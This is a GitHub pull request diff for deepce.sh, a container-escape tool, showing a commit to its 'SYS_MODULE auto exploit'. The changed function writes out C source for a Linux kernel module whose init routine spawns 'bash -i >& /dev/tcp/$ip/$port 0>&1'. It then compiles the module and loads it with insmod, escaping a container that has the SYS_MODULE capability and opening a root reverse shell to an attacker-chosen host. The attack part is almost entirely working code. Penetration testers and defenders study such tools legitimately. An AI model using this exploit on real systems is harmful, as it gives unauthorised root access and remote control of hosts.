Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SYS_MODULE auto exploit #26

Merged
merged 10 commits into from
May 3, 2021
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Prev Previous commit
Next Next commit
checks for installed stuff && replacing sed
  • Loading branch information
naomshi committed May 3, 2021
commit 4b84de323386a4a8fb0b9f5ac578f3b698449468
52 changes: 36 additions & 16 deletions deepce.sh
Original file line number Diff line number Diff line change
Expand Up @@ -1116,26 +1116,46 @@ exploitDockerSock() {
}

exploitSysModule(){
printSection "Exploiting SYS_MODULE"
printTip "$TIP_SYS_MODULE"

if ! [ -x "$(command -v capsh)" ]; then
printError "capsh is required to run this exploit."
exit 1
fi

if ! [ -x "$(command -v make)" ]; then
printError "make is required to run this exploit."
exit 1
fi

if ! [ -x "$(command -v insmod)" ]; then
printError "insmod is required to run this exploit."
exit 1
fi

if ! [ -d "/lib/modules/$(uname -r)" ]; then
printError "Linux headers for $(uname -r) are required to run this exploit."
exit 1
fi

caps=$(capsh --print)
naomshi marked this conversation as resolved.
Show resolved Hide resolved
if [[ ! $caps =~ "cap_sys_module" ]];then
if ! [ $caps =~ "cap_sys_module" ]; then
printError "We don't have the SYS_MODULE capability, which is required for this exploit"
exit 1
fi

if [[ -z "$ip" ]];then
if [ -z "$ip" ]; then
printError "Missing reverse shell IP : use --ip"
exit 1
fi

if [[ -z "$port" ]]; then
if [ -z "$port" ]; then
printError "Missing reverse shell port : use --port"
exit 1
fi

printSection "Exploiting SYS_MODULE"
printTip "$TIP_SYS_MODULE"

module_name=$(shuf -zer -n10 {a..z} {0..9} | tr -d '\0')
module_name=$(shuf -zer -n10 {a..z} {A..Z}| tr -d '\0')
sys_cwd=$(pwd)

mkdir /dev/shm/rev && cd /dev/shm/rev
stealthcopter marked this conversation as resolved.
Show resolved Hide resolved
Expand All @@ -1150,26 +1170,26 @@ MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/HOST_IP/PORT 0>&1", NULL};
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/$ip/$port 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init MODULE_NAME_init(void) {
static int __init ${module_name}_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit MODULE_NAME_exit(void) {
static void __exit ${module_name}_exit(void) {
}
module_init(MODULE_NAME_init);
module_exit(MODULE_NAME_exit);
module_init(${module_name}_init);
module_exit(${module_name}_exit);
EOF
)

echo "$C_SRC" | sed "s@HOST_IP@$ip@" | sed "s@PORT@$port@" | sed "s@MODULE_NAME@$module_name@" > "$module_name.c"
echo "$C_SRC" > "$module_name.c"

MAKEFILE=$(cat << EOF
obj-m +=MODULE_NAME.o\nall:\n\tmake -C /lib/modules/$(uname -r)/build M=$(pwd) modules\nclean:\n\tmake -C /lib/modules/$(uname -r)/build M=$(pwd) clean
obj-m +=${module_name}.o\nall:\n\tmake -C /lib/modules/$(uname -r)/build M=$(pwd) modules\nclean:\n\tmake -C /lib/modules/$(uname -r)/build M=$(pwd) clean
EOF
)

echo -e $MAKEFILE | sed "s@MODULE_NAME@$module_name@" > Makefile
echo -e "$MAKEFILE" > Makefile

printSuccess "Done"

Expand All @@ -1178,7 +1198,7 @@ EOF
if make 1>/dev/null ; then
printSuccess "Done"
else
printError "Failed to make. Do you have all the required libraries installed?"
printError "Failed to make. Do you have all the required libraries installed?" && exit 1
stealthcopter marked this conversation as resolved.
Show resolved Hide resolved
fi

printQuestion "Mounting kernel module..."
Expand Down